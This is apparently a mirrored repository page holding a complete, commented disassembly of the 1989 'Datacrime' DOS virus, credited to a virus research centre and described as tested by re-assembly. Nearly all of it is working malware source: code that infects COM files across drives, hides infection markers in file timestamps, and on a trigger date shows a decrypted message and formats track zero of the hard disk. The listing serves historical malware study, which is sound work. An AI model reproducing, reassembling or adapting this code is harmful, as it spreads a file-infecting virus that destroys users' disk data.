mirror of
https://github.com/vxunderground/MalwareSourceCode
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538 lines
26 KiB
NASM
538 lines
26 KiB
NASM
;
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; IMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM;
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; : British Computer Virus Research Centre :
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; : 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England :
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; : Telephone: Domestic 0273-26105, International +44-273-26105 :
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; : :
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; : The 'Datacrime' Virus :
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; : Disassembled by Joe Hirst, May 1989 :
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; : :
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; : Copyright (c) Joe Hirst 1989. :
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; : :
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; : This listing is only to be made available to virus researchers :
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; : or software writers on a need-to-know basis. :
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; HMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM<
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; The virus occurs attached to the end of a COM file. The first
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; three bytes of the program are stored in the virus, and replaced
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; by a branch to the beginning of the virus.
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; The disassembly has been tested by re-assembly using MASM 5.0.
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; Addressability is maintained by taking the offset from the
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; initial jump to the virus. This is the length of the host minus
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; three (length of the jump instruction). Three is subtracted
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; from this figure (presumably the length of the original "host"
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; program when the virus was released). The result is kept in
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; register SI. Data addresses add SI+106H (COM origin of 100H
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; + length of jump + length of initial host) to the offset of the
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; data item within the virus.
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; Note that if it does nothing else this virus will almost certainly
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; screw up the critical error handler because:
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; 1. There is a missing segment override on the restore of the
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; original segment (presumably the result of inserting such
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; overrides manually), and
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; 2. If the virus looks at more than one disk it will reinstall
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; the routine, overwriting the original saved vector with that
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; of its own routine.
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CODE SEGMENT BYTE PUBLIC 'CODE'
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ASSUME CS:CODE,DS:CODE
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ORG 09AH
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DW009A DW ?
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ORG 101H
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DW0101 DW ?
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; Start of virus - Set up relocation factor
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ORG 0
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START: MOV SI,CS:DW0101 ; Address initial jump to virus
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SUB SI,3 ; Length of original host (?)
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MOV AX,SI ; Copy relocation factor
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CMP AX,0 ; Is it zero (initial release)?
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JNE BP0012 ; Branch if not
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JMP BP0110 ; Infection routine
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; Restore host and test initial start month
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BP0012: LEA DI,DB03D5[SI+106H] ; Address stored start of host
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MOV BX,0100H ; Address beginning of host program
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MOV CX,5 ; Word count
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BP001C: MOV AX,[DI] ; Get next word
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MOV [BX],AX ; Replace next word
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ADD BX,2 ; Address next target word
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ADD DI,2 ; Address next stored word
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DEC CX ; Reduce count
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JNZ BP001C ; Repeat for each word
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MOV AH,2AH ; Get date function
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INT 21H ; DOS service
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MOV AL,CS:DB03EA[SI+106H] ; Get start month
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CMP AL,DH ; Is it start month yet?
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JG BP0040 ; Branch if not
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MOV CS:DB03EA[SI+106H],0 ; Don't do test any more
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JMP BP0045
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; Pass control to host program
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BP0040: MOV BX,0100H ; Address beginning of host program
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JMP BX ; Branch to host program
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; Are we in target part of year?
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BP0045: MOV AX,CS:DW03E8[SI+106H] ; Get start month and day
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CMP AX,DX ; Compare to actual
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JL BP0051 ; Branch if after start date
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JMP BP0110 ; Infection routine
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; Is there a hard disk?
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BP0051: MOV AX,0 ; Clear register
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PUSH DS
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MOV DS,AX ; Address segment zero
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MOV BX,0106H ; Address Int 41H segment
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MOV AX,[BX] ; Get Int 41H segment
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POP DS
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CMP AX,0 ; Is it zero (no hard disk)?
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JNE BP0067 ; Branch if not
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MOV BX,0100H ; Address beginning of host program
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JMP BX ; Branch to host program
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; Display message and format track zero, heads 0 - 8
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BP0067: LEA BX,DB00E7[SI+106H] ; Address encrypted string
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MOV CL,29H ; Load length of string
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BP006D: MOV DL,CS:[BX] ; Get a character
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XOR DL,55H ; Decrypt character
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MOV AH,2 ; Display character function
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INT 21H ; DOS service
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INC BX ; Address next character
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DEC CL ; Reduce count
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JNZ BP006D ; Repeat for each character
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MOV BX,OFFSET DW00A7+106H ; Address format buffer (no SI?)
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MOV CH,0 ; Track zero
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MOV DX,0080H ; Head zero, first hard disk
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BP0084: MOV CH,0 ; Track zero
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MOV AL,0 ; Load zero
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MOV CL,6 ; \ Multiply zero by 64
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SHL AL,CL ; /
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MOV CL,AL ; Move result (zero)
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OR CL,1 ; Now its one (and next line zero)
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MOV AX,0500H ; Format track, interleave zero
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INT 13H ; Disk I/O
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JB BP009F ; Branch if error
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INC DH ; Next head
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CMP DH,9 ; Is it head nine?
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JNE BP0084 ; Format if not
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BP009F: MOV AH,2 ; Display character function
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MOV DL,7 ; Beep
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INT 21H ; DOS service
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JMP BP009F ; Loop on beep
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; Format table (required for ATs and PS/2s)
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; Program does not in fact point to this because the reference
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; to register SI is missing
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DW00A7 DB 0, 01H, 0, 02H, 0, 03H, 0, 04H, 0, 05H, 0, 06H, 0, 07H, 0, 08H
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DB 0, 09H, 0, 0AH, 0, 0BH, 0, 0CH, 0, 0DH, 0, 0EH, 0, 0FH, 0, 10H
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DB 0, 11H, 0, 12H, 0, 13H, 0, 14H, 0, 15H, 0, 16H, 0, 17H, 0, 18H
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DB 0, 19H, 0, 1AH, 0, 1BH, 0, 1CH, 0, 1DH, 0, 1EH, 0, 1FH, 0, 20H
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; The next field decodes to:
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; DB 'DATACRIME VIRUS', 0AH, 0DH
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; DB 'RELEASED: 1 MARCH 1989', 0AH, 0DH
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DB00E7 DB 11H, 14H, 01H, 14H, 16H, 07H, 1CH, 18H, 10H
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DB 75H, 03H, 1CH, 07H, 00H, 06H, 5FH, 58H
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DB 07H, 10H, 19H, 10H, 14H, 06H, 10H, 11H
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DB 6FH, 75H, 64H, 75H, 18H, 14H, 07H, 16H
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DB 1DH, 75H, 64H, 6CH, 6DH, 6CH, 5FH, 58H
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; Start of infection routine
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BP0110: MOV AH,19H ; Get current disk function
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INT 21H ; DOS service
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MOV CS:DB03F5[SI+106H],AL ; Save current disk
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MOV AH,47H ; Get current directory function
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MOV DX,0 ; Default disk
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PUSH SI
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LEA SI,DB03F6+1[SI+106H] ; Original directory store
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INT 21H ; DOS service
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POP SI
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MOV CS:DB03EC[SI+106H],0 ; Set disk drive pointer to start
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JMP BP0130 ; Select disk drive
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; Select disk drive from table
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BP0130: CALL BP0172 ; Install Int 24H routine
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LEA BX,DB03E3[SI+106H] ; Address disk drive table
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MOV AL,CS:DB03EC[SI+106H] ; Get disk drive pointer
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INC CS:DB03EC[SI+106H] ; Update disk drive pointer
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MOV AH,0 ; Clear top of register
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ADD BX,AX ; Add disk drive pointer
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MOV AL,CS:[BX] ; Get next disk drive
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MOV DL,AL ; Move device for select
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CMP AL,0FFH ; End of table?
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JNE BP0151 ; Branch if not
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JMP BP023C ; Tidy up and terminate
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BP0151: MOV AH,0EH ; Select disk function
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INT 21H ; DOS service
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MOV AH,47H ; Get current directory function
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MOV DL,0 ; Default drive
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PUSH SI
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LEA SI,DB0417+1[SI+106H] ; Current directory path name
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INT 21H ; DOS service
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POP SI
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MOV BX,4 ; Address critical error
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MOV AL,CS:[BX] ; Get critical error code
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CMP AL,3 ; Was it three?
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JNE BP01B7 ; Branch if not
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MOV AL,0 ; \ Set it back to zero
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MOV CS:[BX],AL ; /
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JMP BP0130 ; Select next disk drive
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; Install interrupt 24H routine
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BP0172: XOR AX,AX ; Clear register
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PUSH DS
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MOV DS,AX ; Address segment zero
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MOV BX,0090H ; Address Int 24H vector
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MOV AX,[BX+2] ; Get Int 24H segment
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MOV CS:DW03CF[SI+106H],AX ; Save Int 24H segment
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MOV AX,[BX] ; Get Int 24H offset
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MOV CS:DW03D1[SI+106H],AX ; Save Int 24H offset
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MOV AX,CS ; Get current segment
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MOV [BX+2],AX ; Set new Int 24H segment
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LEA AX,BP01AE[SI+106H] ; Int 24H routine
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MOV [BX],AX ; Set new Int 24H offset
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POP DS
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RET
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; Restore original interrupt 24H
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BP0196: XOR AX,AX ; Clear register
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PUSH DS
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MOV DS,AX ; Address segment zero
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MOV BX,0090H ; Address Int 24H vector
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MOV AX,CS:DW03CF[SI+106H] ; Get Int 24H segment
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MOV [BX+2],AX ; Restore Int 24H segment
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MOV AX,DW03D1[SI+106H] ; Get Int 24H offset (missing CS:)
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MOV [BX],AX ; Restore Int 24H offset
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POP DS
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RET
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; Interrupt 24H routine
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BP01AE: MOV AL,3 ; Fail the system call
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MOV BX,4 ; Address critical error byte
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MOV CS:[BX],AL ; Save code
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IRET
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BP01B7: CALL BP02DA ; Find and infect a file
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MOV AL,CS:DB03EB[SI+106H] ; Get infection completed switch
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CMP AL,1 ; Is it on?
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JNE BP01C6 ; Branch if not
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JMP BP023C ; Tidy up and terminate
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BP01C6: CALL BP0260 ; Get next directory
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JNB BP01CE ; Branch if found
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JMP BP0130 ; Select next disk drive
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BP01CE: MOV CX,0040H ; Maximum characters to copy
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PUSH SI
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DEC DI ; \
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DEC DI ; ) Address back to '*.*'
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DEC DI ; /
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MOV WORD PTR [DI],'\ ' ; Word reversed, but overwritten soon
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MOV SI,BX ; Address file name
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CLD
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BP01DC: LODSB ; \ Copy a character
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STOSB ; /
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DEC CX ; Decrement count
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CMP AL,0 ; Was last character zero?
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JNE BP01DC ; Next character if not
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POP SI
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MOV AH,3BH ; Change current directory function
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LEA DX,DB0438[SI+106H] ; Directory pathname
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INT 21H ; DOS service
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CALL BP02DA ; Find and infect a file
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MOV AL,CS:DB03EB[SI+106H] ; Get infection completed switch
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CMP AL,1 ; Is it on?
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JE BP023C ; Tidy up and terminate if yes
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CALL BP0260 ; Get next directory
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JNB BP01CE ; Branch if found
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MOV AH,3BH ; Change current directory function
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LEA DX,DB0417[SI+106H] ; Current directory path name
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INT 21H ; DOS service
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INC CS:DB03E2[SI+106H] ; Increment directory count
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CALL BP0260 ; Get next directory
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JB BP023C ; Branch if not found
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MOV AL,CS:DB03E2[SI+106H] ; Get directory count
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BP0214: CMP AL,0 ; Is directory count zero yet?
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JNE BP021D ; Branch if not
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ADD BX,9 ; ???
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JMP BP01CE ; ??? Add directory name to path
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BP021D: MOV AH,4FH ; Find next file function
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PUSH AX
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INT 21H ; DOS service
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POP AX
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JNB BP0228 ; Branch if no error
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JMP BP0130 ; Select next disk drive
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BP0228: PUSH AX
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MOV AH,2FH ; Get DTA function
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INT 21H ; DOS service
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ADD BX,15H ; Address attributes byte
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MOV AL,10H ; Directory attribute
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CMP CS:[BX],AL ; Is it a directory?
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POP AX
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JNE BP021D ; Branch if not
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DEC AL ; Decrement directory count
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JMP BP0214
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; Reset disk and directory, and pass control to host
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BP023C: MOV AH,0EH ; Select disk function
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MOV DL,CS:DB03F5[SI+106H] ; Get original current disk
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INT 21H ; DOS service
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MOV AH,3BH ; Change current directory function
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LEA DX,DB03F6[SI+106H] ; Original directory
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INT 21H ; DOS service
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CALL BP0196 ; Restore Int 24H
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MOV AX,SI ; Copy relocation factor
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CMP AX,0 ; Is it zero (initial release)?
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JE BP025C ; Terminate 8f not
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MOV BX,0100H ; Address beginning of host program
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JMP BX ; Branch to host program
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; Terminate
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BP025C: MOV AH,4CH ; End process function
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INT 21H ; DOS service
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; Get next directory
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BP0260: LEA DI,DB0438+1[SI+106H] ; Directory pathname
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MOV CX,003AH ; Length to clear
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MOV AL,0 ; Set to zero
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CLD
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REPZ STOSB ; Clear pathname area
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MOV AH,47H ; Get current directory function
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PUSH SI
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MOV DX,0 ; Current drive
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LEA SI,DB0438+1[SI+106H] ; Directory pathname
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INT 21H ; DOS service
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POP SI
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CLD
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LEA DI,DB0438+1[SI+106H] ; Directory pathname
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MOV CX,0040H ; Length to search
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MOV AL,0 ; Search for zero
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REPNZ SCASB ; Search for end of pathname
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JZ BP0289 ; Branch if found
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STC
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RET
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; Set file name wildcard on path
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BP0289: DEC DI ; \ Back two positions
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DEC DI ; /
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MOV AL,[DI] ; Get character
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CMP AL,'\' ; Does path end in dir delim?
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JE BP0294 ; Branch if yes
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INC DI ; Next position
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MOV AL,'\' ; Make next character a dir delim
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BP0294: MOV [DI],AL ; Store character
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INC DI ; Next position
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MOV AL,'*' ; All files
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MOV [DI],AL ; Store character
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INC DI ; Next position
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MOV AL,'.' ; Extension
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MOV [DI],AL ; Store character
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INC DI ; Next position
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MOV AL,'*' ; all extensions
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MOV [DI],AL ; Store character
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INC DI ; Next position
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LEA DX,DB0438[SI+106H] ; Address directory pathname
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MOV AH,4EH ; Find first file function
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MOV CX,0010H ; Find directories
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INT 21H ; DOS service
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JNB BP02B4 ; Branch if no error
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RET
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; Valid directories only
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BP02B4: MOV AH,2FH ; Get DTA function
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INT 21H ; DOS service
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ADD BX,15H ; Address attribute byte
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MOV AL,10H ; Directory attribute
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CMP CS:[BX],AL ; Is it a directory?
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JNE BP02D2 ; Branch if not
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CLC
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MOV AH,2FH ; Get DTA function
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INT 21H ; DOS service
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ADD BX,1EH ; Address directory name
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MOV AL,'.' ; Prepare to test first byte
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CMP CS:[BX],AL ; Is it a pointer to another dir?
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JE BP02D2 ; Branch if yes
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RET
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BP02D2: MOV AH,4FH ; Find next file function
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INT 21H ; DOS service
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JNB BP02B4 ; Branch if no error
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STC
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RET
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; Find and infect a file
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BP02DA: MOV CS:DB03EB[SI+106H],0 ; Set infection completed switch off
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MOV AH,4EH ; Find first file function
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MOV CX,7 ; All files
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LEA DX,DB03ED[SI+106H] ; Address '*.COM'
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INT 21H ; DOS service
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JNB BP02F6 ; Branch if no error
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RET
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BP02EF: MOV AH,4FH ; Find next file function
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INT 21H ; DOS service
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JNB BP02F6 ; Branch if no error
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RET
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; Exclude COMMAND.COM
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BP02F6: MOV BX,00A4H ; Address seventh letter of name
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MOV AL,[BX] ; Get character
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CMP AL,'D' ; Is it a 'D' (as in COMMAND.COM)?
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JNE BP0301 ; Branch if not
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JMP BP02EF ; Next file
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; Is it already infected?
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BP0301: MOV BX,0096H ; Address time of file
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MOV CX,[BX] ; Get time of file
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ADD BX,2 ; Address date of file
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MOV DX,[BX] ; Get date of file
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MOV AL,CL ; Copy low byte of time
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AND AL,0E0H ; Isolate low part of minutes
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MOV AH,AL ; Copy low part of minutes
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SHR AL,1 ; \
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SHR AL,1 ; \
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SHR AL,1 ; ) Move mins to secs position
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SHR AL,1 ; /
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SHR AL,1 ; /
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OR AL,AH ; Combine with minutes
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CMP AL,CL ; Compare to actual time
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JNE BP0323 ; Branch if different
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JMP BP02EF ; Find next file
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; Uninfected COM file found
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BP0323: PUSH CX
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PUSH DX
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MOV AX,CS:DW009A ; Get low-order length
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MOV CS:DW03D3[SI+106H],AX ; Save low-order length
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CALL BP03AA ; Remove read-only attribute
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MOV AX,3D02H ; Open handle (R/W) function
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MOV DX,009EH ; File name
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INT 21H ; DOS service
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MOV BX,AX ; Move handle
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MOV AH,3FH ; Read handle function
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LEA DX,DB03D5[SI+106H] ; Store area for start of host
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MOV CX,000AH ; Read first ten bytes
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INT 21H ; DOS service
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MOV AX,4202H ; Move file pointer (EOF) function
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XOR CX,CX ; \ No displacement
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XOR DX,DX ; /
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INT 21H ; DOS service
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MOV CX,OFFSET ENDADR ; Length of virus
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NOP
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LEA DX,[SI+106H] ; Address start of virus
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MOV AH,40H ; Write handle function
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INT 21H ; DOS service
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MOV AX,4200H ; Move file pointer (start) function
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XOR CX,CX ; \ No displacement
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XOR DX,DX ; /
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INT 21H ; DOS service
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MOV AX,CS:DW009A ; Get low-order length
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SUB AX,3 ; Subtract length of jump
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MOV CS:DW03E0[SI+106H],AX ; Store displacement in jump
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MOV AH,40H ; Write handle function
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MOV CX,3 ; Length of jump
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LEA DX,DB03DF[SI+106H] ; Address jump instruction
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INT 21H ; DOS service
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POP DX
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POP CX
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AND CL,0E0H ; Isolate low part of minutes
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MOV AL,CL ; Copy low part of minutes
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SHR CL,1 ; \
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SHR CL,1 ; \
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SHR CL,1 ; ) Move mins to secs position
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SHR CL,1 ; /
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SHR CL,1 ; /
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OR CL,AL ; Combine with minutes
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MOV AX,5701H ; Set file date & time function
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INT 21H ; DOS service
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MOV AH,3EH ; Close handle function
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INT 21H ; DOS service
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CALL BP03C1 ; Replace attributes
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MOV CS:DB03EB[SI+106H],1 ; Set infection completed switch on
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MOV AH,3BH ; Change current directory function
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LEA DX,DB0417[SI+106H] ; Current directory path name
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INT 21H ; DOS service
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RET
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|
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; Remove read-only attribute
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|
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BP03AA: MOV DX,009EH ; Address file name
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MOV AX,4300H ; Get file attributes function
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INT 21H ; DOS service
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|
MOV CS:DW03F3[SI+106H],CX ; Save attributes
|
|
AND CX,00FEH ; Set off read-only
|
|
MOV AX,4301H ; Set file attributes function
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|
INT 21H ; DOS service
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|
RET
|
|
|
|
; Replace attributes
|
|
|
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BP03C1: MOV CX,CS:DW03F3[SI+106H] ; Get attributes
|
|
MOV DX,009EH ; Address file name
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|
MOV AX,4301H ; Set file attributes function
|
|
INT 21H ; DOS service
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|
RET
|
|
|
|
DW03CF DW 1142H ; Original Int 24H segment
|
|
DW03D1 DW 175DH ; Original Int 24H offset
|
|
DW03D3 DW 0039H ; Low-order length of host
|
|
DB03D5 DB 0EBH, 02EH, 090H, 'Hello -' ; Store area for start of host
|
|
DB03DF DB 0E9H ; \ Jump for host program
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|
DW03E0 DW 0 ; /
|
|
DB03E2 DB 0BH
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|
DB03E3 DB 2, 3, 0, 1, 0FFH ; Disk drive table (C, D, A, B)
|
|
DW03E8 DW 0A0CH ; Start month and day
|
|
DB03EA DB 0 ; Start month
|
|
DB03EB DB 0 ; Infection completed switch
|
|
DB03EC DB 3 ; Disk drive pointer
|
|
DB03ED DB '*.COM', 0
|
|
DW03F3 DW 20H ; File attributes
|
|
DB03F5 DB 0 ; Original current disk
|
|
DB03F6 DB '\', 0, 'ENTURA', 19H DUP (0) ; Original directory
|
|
DB0417 DB '\', 0, 'NPAK', 1BH DUP (0) ; Current directory
|
|
DB0438 DB '\*.*', 3CH DUP (0) ; Directory pathname
|
|
|
|
DB 000H, 02BH, 0C3H, 074H, 005H, 078H, 002H, 041H
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|
DB 0C3H, 049H, 0C3H, 051H, 052H, 0A1H, 014H, 000H
|
|
DB 08BH, 00EH, 01AH, 000H, 08BH, 016H, 01CH, 000H
|
|
|
|
ENDADR EQU $
|
|
|
|
CODE ENDS
|
|
|
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END START
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